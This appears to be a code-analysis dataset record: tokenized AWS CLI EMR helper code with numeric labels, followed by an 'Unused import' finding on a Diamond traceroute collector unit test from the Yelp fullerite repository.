"\\u", "on", "\\u", "failure_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "jar", "\\u", "config_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "jar", "\\u", "config_", "[_", "'", "Jar", "'_", "]_", "=_", "jar_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "appl", "y", "\\u", "dict_", "(_", "jar", "\\u", "config_", ",_", "'", "Arg", "s", "'_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "appl", "y", "\\u", "dict_", "(_", "jar", "\\u", "config_", ",_", "'", "Main", "Class", "'_", ",_", "main", "\\u", "class_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "appl", "y", "\\u", "dict_", "(_", "jar", "\\u", "config_", ",_", "'", "Proper", "ties", "'_", ",_", "properties_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "step_", "[_", "'", "Had", "oop", "Jar", "Step", "'_", "]_", "=_", "jar", "\\u", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "step_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "build", "\\u", "boots", "trap", "\\u", "action_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "'", "Boots", "trap", " ", "Action", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "args_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "path_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exceptions_", "._", "Missing", "Parameter", "s", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "object\\u", "name_", "=_", "'", "Script", "Boots", "trap", "Action", "Config", "'_", ",_", "missing_", "=_", "'", "Path", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ba", "\\u", "config_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "appl", "y", "\\u", "dict_", "(_", "ba", "\\u", "config_", ",_", "'", "Name", "'_", ",_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "script", "\\u", "config_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "appl", "y", "\\u", "dict_", "(_", "script", "\\u", "config_", ",_", "'", "Arg", "s", "'_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "script", "\\u", "config_", "[_", "'", "Path", "'_", "]_", "=_", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "appl", "y", "\\u", "dict_", "(_", "ba", "\\u", "config_", ",_", "'", "Script", "Boots", "trap", "Action", "'_", ",_", "script", "\\u", "config_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "ba", "\\u", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "build", "\\u", "s3", "\\u", "link_", "(_", "relative", "\\u", "path_", "=_", "''_", ",_", "region_", "=_", "'", "us", "-", "east", "-1", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "region_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "region_", "=_", "'", "us", "-", "east", "-1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "'", "s3", "://", "{", "0", "}.", "elastic", "mapreduce", "{", "1", "}'_", "._", "format_", "(_", "region_", ",_", "relative", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "script", "\\u", "runner_", "(_", "region_", "=_", "'", "us", "-", "east", "-1", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "region_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "region_", "=_", "'", "us", "-", "east", "-1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "build", "\\u", "s3", "\\u", "link_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "relative", "\\u", "path_", "=_", "constants_", "._", "SCRIPT", "\\u", "RUNN", "ER", "\\u", "PATH_", ",_", "region_", "=_", "region_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "\\u", "require", "d\\u", "field_", "(_", "structure_", ",_", "name_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exceptions_", "._", "Missing", "Parameter", "s", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "object\\u", "name_", "=_", "structure_", ",_", "missing_", "=_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "\\u", "empty", "\\u", "string", "\\u", "list_", "(_", "name_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "value_", "or_", "(_", "len_", "(_", "value_", ")_", "==_", "1_", "and_", "value_", "[_", "0_", "]_", "._", "strip_", "(_", ")_", "==_", "\"\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exceptions_", "._", "Emp", "ty", "List", "Error_", "(_", "param_", "=_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "call_", "(_", "session_", ",_", "operati", "on", "\\u", "name_", ",_", "parameters_", ",_", "region", "\\u", "name_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "endpoint", "\\u", "url_", "=_", "None_", ",_", "verify_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "coul", "d", " ", "get", " ", "an", " ", "error", " ", "from", " ", "get", "\\u", "endpoint", "()", " ", "abo", "ut", " ", "not", " ", "hav", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "a", " ", "region", " ", "configur", "ed", ".", " ", " ", "Be", "fore", " ", "this", " ", "happ", "ens", " ", "we", " ", "want", " ", "to", " ", "check_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "cred", "ential", "s", " ", "so", " ", "we", " ", "can", " ", "give", " ", "a", " ", "good", " ", "error", " ", "message", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "session_", "._", "get", "\\u", "credentials_", "(_", ")_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "No", "Cred", "ential", "s", "Error_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "client_", "=_", "session_", "._", "create", "\\u", "client_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "emr", "'_", ",_", "region", "\\u", "name_", "=_", "region", "\\u", "name_", ",_", "endpoint", "\\u", "url_", "=_", "endpoint", "\\u", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "verify_", "=_", "verify_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "LOG_", "._", "debug_", "(_", "'", "Call", "ing", " ", "'_", "+_", "str_", "(_", "operati", "on", "\\u", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "getattr_", "(_", "client_", ",_", "operati", "on", "\\u", "name_", ")_", "(_", "**_", "parameters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "example", "\\u", "file_", "(_", "command_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "open_", "(_", "'", "aws", "cli", "/", "example", "s", "/", "emr", "/'_", "+_", "command_", "+_", "'.", "rst", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dict", "\\u", "to", "\\u", "string_", "(_", "dict_", ",_", "indent_", "=_", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "json_", "._", "dumps_", "(_", "dict_", ",_", "indent_", "=_", "indent_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "client_", "(_", "session_", ",_", "parsed", "\\u", "globals_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "session_", "._", "create", "\\u", "client_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "emr", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "region", "\\u", "name_", "=_", "get", "\\u", "region_", "(_", "session_", ",_", "parsed", "\\u", "globals_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "endpoint", "\\u", "url_", "=_", "parsed", "\\u", "globals_", "._", "endpoint", "\\u", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "verify_", "=_", "parsed", "\\u", "globals_", "._", "verify", "\\u", "ssl_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "cluster", "\\u", "state_", "(_", "session_", ",_", "parsed", "\\u", "globals_", ",_", "cluster", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "client_", "=_", "get", "\\u", "client_", "(_", "session_", ",_", "parsed", "\\u", "globals_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "client_", "._", "descri", "be", "\\u", "cluster_", "(_", "Cluster", "Id_", "=_", "cluster", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "data_", "[_", "'", "Cluster", "'_", "]_", "[_", "'", "Status", "'_", "]_", "[_", "'", "State", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "find", "\\u", "master", "\\u", "dns_", "(_", "session_", ",_", "parsed", "\\u", "globals_", ",_", "cluster", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "master", "\\u", "instance", "'", "s", " ", "'", "Public", "Dn", "s", "Name", "'.", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client_", "=_", "get", "\\u", "client_", "(_", "session_", ",_", "parsed", "\\u", "globals_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "client_", "._", "descri", "be", "\\u", "cluster_", "(_", "Cluster", "Id_", "=_", "cluster", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "data_", "[_", "'", "Cluster", "'_", "]_", "[_", "'", "Master", "Public", "Dn", "s", "Name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "which_", "(_", "program_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "path_", "in_", "os_", "._", "environ_", "[_", "\"", "PATH", "\"_", "]_", "._", "split_", "(_", "os_", "._", "pathsep_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "path_", "=_", "path_", "._", "strip_", "(_", "'\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exe", "\\u", "file_", "=_", "os_", "._", "path_", "._", "join_", "(_", "path_", ",_", "program_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isfile_", "(_", "exe", "\\u", "file_", ")_", "and_", "os_", "._", "access_", "(_", "exe", "\\u", "file_", ",_", "os_", "._", "X", "\\u", "OK_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "exe", "\\u", "file_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "call", "\\u", "and", "\\u", "display", "\\u", "response_", "(_", "session_", ",_", "operati", "on", "\\u", "name_", ",_", "parameters_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "parsed", "\\u", "globals_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cli", "\\u", "operati", "on", "\\u", "caller_", "=_", "CLI", "Opera", "tion", "Caller", "_", "(_", "session_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cli", "\\u", "operati", "on", "\\u", "caller_", "._", "invoke_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "emr", "'_", ",_", "operati", "on", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "parameters_", ",_", "parsed", "\\u", "globals_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "display", "\\u", "response_", "(_", "session_", ",_", "operati", "on", "\\u", "name_", ",_", "result_", ",_", "parsed", "\\u", "globals_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cli", "\\u", "operati", "on", "\\u", "caller_", "=_", "CLI", "Opera", "tion", "Caller", "_", "(_", "session_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Call", "ing", " ", "a", " ", "private", " ", "method", ".", " ", "Sho", "ul", "d", " ", "be", " ", "change", "d", " ", "after", " ", "the", " ", "functional", "ity_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "is", " ", "moved", " ", "outsi", "de", " ", "Cli", "Opera", "tion", "Caller", "._", "\\u\\u\\uNL\\u\\u\\u_", "cli", "\\u", "operati", "on", "\\u", "caller_", "._", "\\u", "display", "\\u", "response_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "operati", "on", "\\u", "name_", ",_", "result_", ",_", "parsed", "\\u", "globals_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "region_", "(_", "session_", ",_", "parsed", "\\u", "globals_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "region_", "=_", "parsed", "\\u", "globals_", "._", "region_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "region_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "region_", "=_", "session_", "._", "get", "\\u", "config", "\\u", "variable_", "(_", "'", "region", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "region_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "join_", "(_", "values_", ",_", "separator_", "=_", "','_", ",_", "last", "Separator_", "=_", "'", "and", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Help", "er", " ", "method", " ", "to", " ", "print", " ", "a", " ", "list", " ", "of", " ", "values", "\\", "10", ";", " ", " ", " ", " ", "[", "1", ",", "2", ",", "3", "]", " ", "->", " ", "'", "1", ",", " ", "2", " ", "and", " ", "3", "'", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "=_", "[_", "str_", "(_", "x_", ")_", "for_", "x_", "in_", "values_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "values_", ")_", "<_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "len_", "(_", "values_", ")_", "is_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "values_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "separator_", "=_", "'%", "s", " ", "'_", "%_", "separator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'", " ", "'_", "._", "join_", "(_", "[_", "separator_", "._", "join_", "(_", "values_", "[_", ":_", "-_", "1_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "last", "Separator_", ",_", "values_", "[_", "-_", "1_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "split", "\\u", "to", "\\u", "key", "\\u", "value_", "(_", "string_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "string_", "._", "find_", "(_", "'='_", ")_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "string_", ",_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "string_", "._", "split_", "(_", "'='_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "cluster_", "(_", "cluster", "\\u", "id_", ",_", "session_", ",_", "region_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "endpoint", "\\u", "url_", ",_", "verify", "\\u", "ssl_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "descri", "be", "\\u", "cluster", "\\u", "params_", "=_", "{_", "'", "Cluster", "Id", "'_", ":_", "cluster", "\\u", "id_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "descri", "be", "\\u", "cluster", "\\u", "response_", "=_", "call_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "session_", ",_", "'", "descri", "be", "\\u", "cluster", "'_", ",_", "descri", "be", "\\u", "cluster", "\\u", "params_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "region_", ",_", "endpoint", "\\u", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "verify", "\\u", "ssl_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "descri", "be", "\\u", "cluster", "\\u", "response_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "descri", "be", "\\u", "cluster", "\\u", "response_", "._", "get_", "(_", "'", "Cluster", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "release", "\\u", "label_", "(_", "cluster", "\\u", "id_", ",_", "session_", ",_", "region_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "endpoint", "\\u", "url_", ",_", "verify", "\\u", "ssl_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cluster_", "=_", "get", "\\u", "cluster_", "(_", "cluster", "\\u", "id_", ",_", "session_", ",_", "region_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "endpoint", "\\u", "url_", ",_", "verify", "\\u", "ssl_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "cluster_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cluster_", "._", "get_", "(_", "'", "Release", "Label", "'_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
Yelp/fullerite/src/diamond/collectors/traceroute/test/testraceroute.py
[ { "content": "#!/usr/bin/python\n# coding=utf-8\n################################################################################\n\nfrom test import CollectorTestCase\nfrom test import get_collector_config\nfrom test import unittest\nfrom mock import Mock\nfrom mock import patch\n\nfrom diamond.collector import Collector\nfrom traceroute import TracerouteCollector\n\n################################################################################\n\n\n\n\n\n################################################################################\nif __name__ == \"__main__\":\n unittest.main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestTracerouteCollector(CollectorTestCase):\n\n\n\n", "metadata": "root.TestTracerouteCollector", "header": "['module', '___EOS___']", "index": 16 }, { "content": " def setUp(self):\n config = get_collector_config('TracerouteCollector', {\n })\n\n self.collector = TracerouteCollector(config, None)\n self.collector.config['bin'] = 'dummy'\n self.collector.config['protocol'] = 'icmp'", "metadata": "root.TestTracerouteCollector.setUp", "header": "['class', 'TestTracerouteCollector', '(', 'CollectorTestCase', ')', ':', '___EOS___']", "index": 17 }, { "content": " def test_import(self):\n self.assertTrue(TracerouteCollector)", "metadata": "root.TestTracerouteCollector.test_import", "header": "['class', 'TestTracerouteCollector', '(', 'CollectorTestCase', ')', ':', '___EOS___']", "index": 25 }, { "content": " @patch.object(Collector, 'publish')\n def test_should_work_with_real_data(self, publish_mock):\n\n with patch('traceroute.Popen') as process_mock:\n with patch.object(process_mock.return_value, 'stdout') as out_mock:\n with patch.object(process_mock.return_value, 'stderr') as err_mock:\n out_mock.readline = self.getFixture('traceroute').readline\n err_mock.readline.return_value = None\n self.collector.collect()\n\n rtts = self.getFixture('rtts').getvalue().split('\\n')\n for idx, call in enumerate(publish_mock.mock_calls):\n name, args, kwargs = call\n metric_name, metric_value = args\n\n self.assertEquals(metric_name, 'yelp.RoundTripTime')\n self.assertEquals(metric_value, float(rtts[idx]))", "metadata": "root.TestTracerouteCollector.test_should_work_with_real_data", "header": "['class', 'TestTracerouteCollector', '(', 'CollectorTestCase', ')', ':', '___EOS___']", "index": 28 }, { "content": " @patch.object(Collector, 'publish_metric')\n def test_sent_dimensions(self, publish_metric_mock):\n\n with patch('traceroute.Popen') as process_mock:\n with patch.object(process_mock.return_value, 'stdout') as out_mock:\n with patch.object(process_mock.return_value, 'stderr') as err_mock:\n out_mock.readline = self.getFixture('traceroute').readline\n err_mock.readline.return_value = None\n self.collector.collect()\n\n hops = self.getFixture('hops').getvalue().split('\\n')\n for idx, call in enumerate(publish_metric_mock.mock_calls):\n name, args, kwargs = call\n metric = args[0]\n hop, ip = hops[idx].strip().split('|')\n if '*' not in ip:\n self.assertEquals(metric.dimensions, {\n 'hop': hop,\n 'ip': ip,\n })\n else:\n self.assertEquals(metric.dimensions, {\n 'hop': hop,\n })", "metadata": "root.TestTracerouteCollector.test_sent_dimensions", "header": "['class', 'TestTracerouteCollector', '(', 'CollectorTestCase', ')', ':', '___EOS___']", "index": 46 }, { "content": " @patch.object(Collector, 'publish')\n def test_should_fail_gracefully(self, publish_mock):\n\n with patch('traceroute.Popen') as process_mock:\n with patch.object(process_mock.return_value, 'stdout') as out_mock:\n with patch.object(process_mock.return_value, 'stderr') as err_mock:\n with patch.object(self.collector.log, 'error') as error_logger:\n err_mock.readline.return_value = 'Failed to run collector'\n self.collector.collect()\n\n error_logger.assert_called_once_with('Error running traceroute process: Failed to run collector')\n self.assertPublishedMany(publish_mock, {})", "metadata": "root.TestTracerouteCollector.test_should_fail_gracefully", "header": "['class', 'TestTracerouteCollector', '(', 'CollectorTestCase', ')', ':', '___EOS___']", "index": 71 } 